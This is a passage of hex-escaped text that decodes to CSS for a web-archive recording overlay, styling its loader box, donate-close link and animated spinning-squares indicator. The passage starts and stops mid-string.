64\x69\x75\x73\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x32\x31\x34\x37\x34\x38\x33\x36\x34\x33\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x6f\x76\x65\x72\x6c\x61\x79\x5f\x64\x69\x76\x7b\x63\x75\x72\x73\x6f\x72\x3a\x77\x61\x69\x74\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x7b\x6f\x70\x61\x63\x69\x74\x79\x3a\x31\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x66\x69\x78\x65\x64\x3b\x74\x6f\x70\x3a\x35\x30\x25\x3b\x6c\x65\x66\x74\x3a\x35\x30\x25\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x66\x66\x66\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x38\x70\x78\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x32\x31\x34\x37\x34\x38\x33\x36\x34\x34\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x30\x20\x30\x20\x33\x30\x70\x78\x20\x35\x70\x78\x20\x23\x30\x30\x30\x3b\x2d\x6d\x6f\x7a\x2d\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x30\x20\x30\x20\x33\x30\x70\x78\x20\x35\x70\x78\x20\x23\x30\x30\x30\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x30\x20\x30\x20\x33\x30\x70\x78\x20\x35\x70\x78\x20\x23\x30\x30\x30\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x6c\x6f\x61\x64\x65\x72\x7b\x63\x75\x72\x73\x6f\x72\x3a\x77\x61\x69\x74\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x61\x64\x64\x69\x6e\x67\x2d\x74\x6f\x70\x3a\x33\x30\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x6c\x65\x66\x74\x3a\x2d\x32\x38\x37\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x2d\x31\x37\x37\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x77\x69\x64\x74\x68\x3a\x35\x37\x34\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x68\x65\x69\x67\x68\x74\x3a\x33\x35\x35\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x20\x3e\x20\x77\x62\x5f\x68\x31\x2c\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x20\x3e\x20\x77\x62\x5f\x70\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x32\x32\x32\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6c\x69\x6e\x65\x2d\x68\x65\x69\x67\x68\x74\x3a\x32\x65\x6d\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x6f\x6e\x65\x7b\x6d\x61\x72\x67\x69\x6e\x2d\x6c\x65\x66\x74\x3a\x2d\x34\x32\x37\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x2d\x31\x37\x37\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x77\x69\x64\x74\x68\x3a\x38\x35\x35\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x68\x65\x69\x67\x68\x74\x3a\x33\x35\x35\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x20\x3e\x20\x2a\x7b\x6d\x61\x72\x67\x69\x6e\x3a\x61\x75\x74\x6f\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x64\x69\x73\x70\x6c\x61\x79\x3a\x62\x6c\x6f\x63\x6b\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x22\x4f\x70\x65\x6e\x20\x53\x61\x6e\x73\x22\x2c\x22\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x20\x4e\x65\x75\x65\x22\x2c\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2c\x41\x72\x69\x61\x6c\x2c\x73\x61\x6e\x73\x2d\x73\x65\x72\x69\x66\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x20\x3e\x20\x77\x62\x5f\x68\x31\x7b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x33\x36\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x34\x30\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x77\x69\x64\x74\x68\x3a\x61\x75\x74\x6f\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x68\x65\x69\x67\x68\x74\x3a\x61\x75\x74\x6f\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x20\x3e\x20\x77\x62\x5f\x70\x7b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x37\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x38\x70\x78\x20\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x20\x3e\x20\x23\x5f\x77\x62\x5f\x6c\x6f\x67\x6f\x7b\x6d\x61\x72\x67\x69\x6e\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x31\x30\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x20\x3e\x20\x23\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x65\x72\x7b\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x33\x30\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x33\x30\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x20\x3e\x20\x23\x5f\x77\x62\x5f\x63\x75\x72\x72\x5f\x75\x72\x6c\x7b\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x75\x6e\x64\x65\x72\x6c\x69\x6e\x65\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x37\x30\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x6f\x6e\x65\x20\x3e\x20\x23\x5f\x5f\x77\x62\x5f\x6c\x69\x6e\x6b\x7b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x32\x30\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x3a\x31\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x61\x61\x61\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x33\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x77\x69\x64\x74\x68\x3a\x38\x30\x25\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x68\x65\x69\x67\x68\x74\x3a\x61\x75\x74\x6f\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x6f\x6e\x65\x20\x3e\x20\x23\x5f\x5f\x77\x62\x5f\x6c\x69\x6e\x6b\x3a\x66\x6f\x63\x75\x73\x7b\x6f\x75\x74\x6c\x69\x6e\x65\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x34\x32\x38\x62\x63\x61\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x6f\x6e\x65\x20\x3e\x20\x23\x5f\x5f\x77\x62\x5f\x64\x6f\x6e\x61\x74\x65\x5f\x63\x6c\x6f\x73\x65\x7b\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x38\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x77\x69\x64\x74\x68\x3a\x61\x75\x74\x6f\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x66\x6c\x6f\x61\x74\x3a\x72\x69\x67\x68\x74\x3b\x64\x69\x73\x70\x6c\x61\x79\x3a\x69\x6e\x6c\x69\x6e\x65\x2d\x62\x6c\x6f\x63\x6b\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x38\x70\x78\x20\x38\x70\x78\x20\x30\x20\x30\x20\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x64\x6f\x6e\x61\x74\x65\x5f\x63\x6c\x6f\x73\x65\x20\x3e\x20\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x64\x6f\x6e\x65\x5f\x63\x6c\x6f\x73\x65\x7b\x63\x75\x72\x73\x6f\x72\x3a\x70\x6f\x69\x6e\x74\x65\x72\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x64\x69\x73\x70\x6c\x61\x79\x3a\x69\x6e\x6c\x69\x6e\x65\x2d\x62\x6c\x6f\x63\x6b\x3b\x76\x65\x72\x74\x69\x63\x61\x6c\x2d\x61\x6c\x69\x67\x6e\x3a\x62\x6f\x74\x74\x6f\x6d\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x6f\x6e\x65\x20\x3e\x20\x23\x5f\x5f\x77\x62\x5f\x64\x6f\x6e\x61\x74\x65\x5f\x63\x6c\x6f\x73\x65\x20\x61\x2c\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x6f\x6e\x65\x20\x3e\x20\x23\x5f\x5f\x77\x62\x5f\x64\x6f\x6e\x61\x74\x65\x5f\x63\x6c\x6f\x73\x65\x20\x61\x3a\x76\x69\x73\x69\x74\x65\x64\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x34\x32\x38\x62\x63\x61\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x6f\x6e\x65\x20\x3e\x20\x23\x5f\x5f\x77\x62\x5f\x64\x6f\x6e\x61\x74\x65\x5f\x63\x6c\x6f\x73\x65\x20\x61\x3a\x6c\x69\x6e\x6b\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x34\x32\x38\x62\x63\x61\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x74\x65\x78\x74\x2d\x64\x65\x63\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x6e\x6f\x6e\x65\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x72\x69\x67\x68\x74\x3a\x31\x36\x70\x78\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x72\x65\x63\x6f\x72\x64\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x6f\x6e\x65\x20\x3e\x20\x23\x5f\x5f\x77\x62\x5f\x64\x6f\x6e\x61\x74\x65\x5f\x63\x6c\x6f\x73\x65\x20\x61\x3a\x68\x6f\x76\x65\x72\x7b\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x42\x31\x46\x37\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x7b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x72\x65\x6c\x61\x74\x69\x76\x65\x3b\x77\x69\x64\x74\x68\x3a\x32\x34\x30\x70\x78\x3b\x68\x65\x69\x67\x68\x74\x3a\x32\x30\x70\x78\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x6d\x61\x72\x67\x69\x6e\x3a\x33\x30\x70\x78\x20\x30\x20\x33\x30\x70\x78\x20\x31\x36\x30\x70\x78\x20\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x7d\x2e\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x7b\x6d\x61\x72\x67\x69\x6e\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x61\x64\x64\x69\x6e\x67\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x30\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x61\x62\x73\x6f\x6c\x75\x74\x65\x3b\x74\x6f\x70\x3a\x30\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x23\x30\x30\x30\x3b\x77\x69\x64\x74\x68\x3a\x32\x32\x70\x78\x3b\x68\x65\x69\x67\x68\x74\x3a\x32\x32\x70\x78\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x6e\x61\x6d\x65\x3a\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x75\x72\x61\x74\x69\x6f\x6e\x3a\x31\x2e\x39\x73\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x69\x74\x65\x72\x61\x74\x69\x6f\x6e\x2d\x63\x6f\x75\x6e\x74\x3a\x69\x6e\x66\x69\x6e\x69\x74\x65\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x69\x72\x65\x63\x74\x69\x6f\x6e\x3a\x6c\x69\x6e\x65\x61\x72\x3b\x2d\x6d\x6f\x7a\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x6e\x61\x6d\x65\x3a\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x75\x72\x61\x74\x69\x6f\x6e\x3a\x31\x2e\x39\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x69\x74\x65\x72\x61\x74\x69\x6f\x6e\x2d\x63\x6f\x75\x6e\x74\x3a\x69\x6e\x66\x69\x6e\x69\x74\x65\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x69\x72\x65\x63\x74\x69\x6f\x6e\x3a\x6c\x69\x6e\x65\x61\x72\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x6e\x61\x6d\x65\x3a\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x75\x72\x61\x74\x69\x6f\x6e\x3a\x31\x2e\x39\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x69\x74\x65\x72\x61\x74\x69\x6f\x6e\x2d\x63\x6f\x75\x6e\x74\x3a\x69\x6e\x66\x69\x6e\x69\x74\x65\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x69\x72\x65\x63\x74\x69\x6f\x6e\x3a\x6c\x69\x6e\x65\x61\x72\x3b\x2d\x6d\x73\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x6e\x61\x6d\x65\x3a\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x75\x72\x61\x74\x69\x6f\x6e\x3a\x31\x2e\x39\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x69\x74\x65\x72\x61\x74\x69\x6f\x6e\x2d\x63\x6f\x75\x6e\x74\x3a\x69\x6e\x66\x69\x6e\x69\x74\x65\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x69\x72\x65\x63\x74\x69\x6f\x6e\x3a\x6c\x69\x6e\x65\x61\x72\x3b\x2d\x6f\x2d\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x6e\x61\x6d\x65\x3a\x62\x6f\x75\x6e\x63\x65\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x75\x72\x61\x74\x69\x6f\x6e\x3a\x31\x2e\x39\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x69\x74\x65\x72\x61\x74\x69\x6f\x6e\x2d\x63\x6f\x75\x6e\x74\x3a\x69\x6e\x66\x69\x6e\x69\x74\x65\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x69\x72\x65\x63\x74\x69\x6f\x6e\x3a\x6c\x69\x6e\x65\x61\x72\x3b\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3a\x73\x63\x61\x6c\x65\x28\x2e\x33\x29\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x5f\x31\x7b\x6c\x65\x66\x74\x3a\x30\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x37\x36\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x37\x36\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x37\x36\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x37\x36\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x37\x36\x73\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x5f\x32\x7b\x6c\x65\x66\x74\x3a\x33\x30\x70\x78\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x39\x35\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x39\x35\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x39\x35\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x39\x35\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x2e\x39\x35\x73\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x5f\x33\x7b\x6c\x65\x66\x74\x3a\x36\x30\x70\x78\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x31\x34\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x31\x34\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x31\x34\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x31\x34\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x31\x34\x73\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x5f\x34\x7b\x6c\x65\x66\x74\x3a\x39\x30\x70\x78\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x33\x33\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x33\x33\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x33\x33\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x33\x33\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x33\x33\x73\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x5f\x35\x7b\x6c\x65\x66\x74\x3a\x31\x32\x30\x70\x78\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x35\x32\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x35\x32\x73\x3b\x2d\x6d\x73\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x35\x32\x73\x3b\x2d\x6f\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x35\x32\x73\x3b\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x35\x32\x73\x7d\x23\x5f\x5f\x77\x62\x5f\x73\x70\x69\x6e\x6e\x69\x6e\x67\x53\x71\x75\x61\x72\x65\x73\x47\x5f\x36\x7b\x6c\x65\x66\x74\x3a\x31\x35\x30\x70\x78\x3b\x2d\x6d\x6f\x7a\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x37\x31\x73\x3b\x2d\x77\x65\x62\x6b\x69\x74\x2d\x61\x6e\x69\x6d\x61\x74\x69\x6f\x6e\x2d\x64\x65\x6c\x61\x79\x3a\x31\x2e\x37\